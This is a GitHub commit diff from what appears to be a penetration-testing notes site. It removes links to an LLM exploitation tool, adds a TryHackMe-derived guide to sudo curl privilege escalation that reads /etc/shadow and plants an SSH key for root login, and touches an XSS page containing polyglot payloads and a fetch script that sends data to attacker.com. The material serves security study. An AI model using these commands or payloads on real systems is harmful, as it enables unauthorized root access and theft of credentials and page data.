Skip to content

Commit 9610adb

Browse files
committed
updated
1 parent 92d07be commit 9610adb

File tree

6 files changed

+64
-34
lines changed

6 files changed

+64
-34
lines changed

src/_components/footer.vto

Lines changed: 0 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -46,14 +46,6 @@
4646
>
4747
{{ site.lolgen.name }}
4848
</a>
49-
<a
50-
href="{{ site.exploit_sensei.url }}"
51-
target="_blank"
52-
rel="noopener noreferrer"
53-
class="hover:brightness-200"
54-
>
55-
{{ site.exploit_sensei.name }}
56-
</a>
5749
</div>
5850
</div>
5951
{{# /OTHER TOOLS #}}

src/_components/header.vto

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -77,13 +77,6 @@
7777
>
7878
{{ site.lolgen.name }}
7979
</a>
80-
<a
81-
href="{{ site.exploit_sensei.url }}"
82-
target="_blank"
83-
rel="noopener noreferrer"
84-
>
85-
{{ site.exploit_sensei.name }}
86-
</a>
8780
</div>
8881
</div>
8982
<a

src/_components/navigation.vto

Lines changed: 0 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -78,14 +78,6 @@
7878
>
7979
{{ site.lolgen.name }}
8080
</a>
81-
<a
82-
href="{{ site.exploit_sensei.url }}"
83-
target="_blank"
84-
rel="noopener noreferrer"
85-
class="text-lg"
86-
>
87-
{{ site.exploit_sensei.name }}
88-
</a>
8981
</div>
9082
</div>
9183
</div>

src/_data/site.yml

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,3 @@ lolgen:
2525
name: LOLGEN
2626
url: https://lolgen.hdks.org/
2727
desc: Living Off The Land Payload Generator.
28-
exploit_sensei:
29-
name: Exploit Sensei
30-
url: https://github.com/hideckies/exploit-sensei
31-
desc: LLM-powered Exploitation Recommendation Tool.
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
---
2+
title: Sudo Curl Privilege Escalation
3+
description: Sudo curl command might be vulnerable to privilege escalation (PrivEsc).
4+
tags:
5+
- Privilege Escalation
6+
refs:
7+
date: 2025-03-25
8+
draft: false
9+
---
10+
11+
## Investigation
12+
13+
```bash
14+
sudo -l
15+
16+
(root) /usr/bin/curl 127.0.0.1/*
17+
```
18+
19+
If current user is allowed to execute the command above as root privilege, we can read arbitrary files in the target system or can add our SSH key in the root home directory by abusing the asterisk (`*`).
20+
21+
I found this setting on **Robots** room on TryHackMe.
22+
23+
## Exploit
24+
25+
### Option 1. Read Files
26+
27+
```bash
28+
sudo /usr/bin/curl 127.0.0.1/ file:///etc/shadow
29+
```
30+
31+
As above, we can read the content of the `/etc/shadow` as root.
32+
33+
### Option 2. Add SSH Key
34+
35+
We can also add our SSH public key to `/root/.ssh/authorized_keys`.
36+
First, generate SSH keys in our local machine:
37+
38+
```bash
39+
ssh-keygen -f key
40+
41+
# Display the content of the public key, and copy it.
42+
cat key.pub
43+
```
44+
45+
Next, in target machine, write the content of this public key:
46+
47+
```bash
48+
echo -n '<content_of_public_key>' > /tmp/key.pub
49+
```
50+
51+
Now, we can write this content to `/root/.ssh/authorized_keys` via `curl`:
52+
53+
```bash
54+
sudo /usr/bin/curl 127.0.0.1/ -o /tmp/ignore file:///tmp/key.pub -o /root/.ssh/authorized_keys
55+
```
56+
57+
By this, we can login SSH as root, using our private key:
58+
59+
```bash
60+
# Run it our local machine
61+
chmod 600 key
62+
ssh root@<target-ip> -i key
63+
```

src/exploit/web/security-risk/xss.md

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ refs:
1111
- https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
1212
- https://brutelogic.com.br/blog/building-xss-polyglots/
1313
- https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
14-
date: 2025-02-27
14+
date: 2025-03-25
1515
draft: false
1616
---
1717

@@ -42,8 +42,6 @@ draft: false
4242
python xsstrike.py -u http://vulnerable.com/comment --data '{"comment": "test"}' --json
4343
```
4444

45-
<br />
46-
4745
<div data-pagefind-ignore>
4846

4947
## Payloads
@@ -169,8 +167,6 @@ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</
169167
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
170168
```
171169
172-
<br />
173-
174170
## Exploit
175171
176172
After finding the XSS vulnerability, we can abuse it with
@@ -257,7 +253,6 @@ If JavaScript code can be executed via XSS, we can let victims to get contents o
257253
258254
```html
259255
<script>
260-
window.onload = function() {
261256
fetch("/secret")
262257
.then(resp => resp.text())
263258
.then(text => {
@@ -266,7 +261,6 @@ window.onload = function() {
266261
.catch(err => {
267262
fetch(`http://attacker.com/?err=${err}`);
268263
});
269-
}
270264
</script>
271265
```
272266

0 commit comments

Comments
 (0)